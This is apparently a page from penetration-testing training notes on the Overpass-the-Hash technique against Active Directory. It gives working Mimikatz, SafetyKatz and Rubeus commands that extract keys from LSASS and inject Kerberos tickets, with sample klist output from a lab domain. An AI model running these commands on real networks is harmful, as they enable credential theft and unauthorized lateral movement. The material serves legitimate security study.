Overpass-the-Hash
Pass-the-Hash vs Overpass-the-Hash
Pass-the-Hash (PtH) involves reusing NTLM password hashes—typically the NT hash of a user account—to authenticate over NTLM. This technique works with both local and domain accounts but only against services that accept NTLM (e.g., SMB, WMI, WinRM with NTLM fallback).
Overpass-the-Hash (OtH) leverages the NT or AES keys of a domain user to generate valid Kerberos TGTs, which are then injected into the current session (or a new one). This enables access to Kerberos-authenticated services and is preferred in environments that restrict or monitor NTLM. OtH is effectively a Kerberos-based equivalent of PtH, offering broader access in modern enterprise networks.
Overpass-the-Hash (OtH) enables Kerberos-based lateral movement by forging a valid TGT from a user's NTLM or AES key, avoiding NTLM authentication entirely. Tools like Mimikatz generate and inject the TGT into a new process (e.g., cmd.exe or PowerShell), allowing access to Kerberos-protected services such as RDP, CIFS, or WinRM. OtH attacks start a new process with Logon Type 9 (runas /netonly).
This technique is typically used after compromising a host where the target user has logged in. With administrative access, the attacker extracts the user’s hash from LSASS, generates a Kerberos ticket, and injects it into memory. OtH is stealthier than PtH, evades NTLM restrictions, and leverages native system tooling while operating entirely within the Kerberos trust model.
Tools
Execute an OtH attack with Mimikatz:
.\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell" "exit"There are no cached TGTs yet, as no Kerberos-authenticated service is accessed:
> klist
...
Cached Tickets: (0)When a Kerberos-based service is used (e.g. CIFS), a TGT for krbtgt/CORP.COM and TGS for cifs/files04 will be generated:
> net use \\files04
The command completed successfully.
> klist
...
Cached Tickets: (2)
#0> Client: jen @ CORP.COM
Server: krbtgt/CORP.COM @ CORP.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 2/27/2023 5:27:28 (local)
End Time: 2/27/2023 15:27:28 (local)
Renew Time: 3/6/2023 5:27:28 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called: DC1.corp.com
#1> Client: jen @ CORP.COM
Server: cifs/files04 @ CORP.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
Start Time: 2/27/2023 5:27:28 (local)
End Time: 2/27/2023 15:27:28 (local)
Renew Time: 3/6/2023 5:27:28 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called: DC1.corp.comThe NTLM hash has been successfully converted a TGT. The latter can now use any Kerberos-based authentication tool, such as PsExec.
To perform an OtH attack with SafetyKatz:
# Extract ASE256 keys from LSASS
.\SafetyKatz.exe "privilege::debug" "sekurlsa::ekeys" "exit"Use the AES256 key (or NT hash) of a domain user to inject a forged TGT and launch a new process (e.g., cmd.exe) with Logon Type 9 (runas /netonly):
The OtH attack with SafetyKatz needs to be run from an elevated shell!
.\SafetyKatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:dollarcorp.moneycorp.local /aes256:<aes256key> /run:cmd.exe" "exit"Rubeus can be used for OtH attacks without access to an elevated shell. The downside is that it overwrites the current tickets:
.\Rubeus.exe asktgt /user:administrator /rc4:<ntmlHash> /pttIf a new process need to be started (to avoid overwriting), access to an elevated shell is required:
.\Rubeus.exe asktgt /user:administrator /aes256:<aes256keys> /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /pttLast updated
Was this helpful?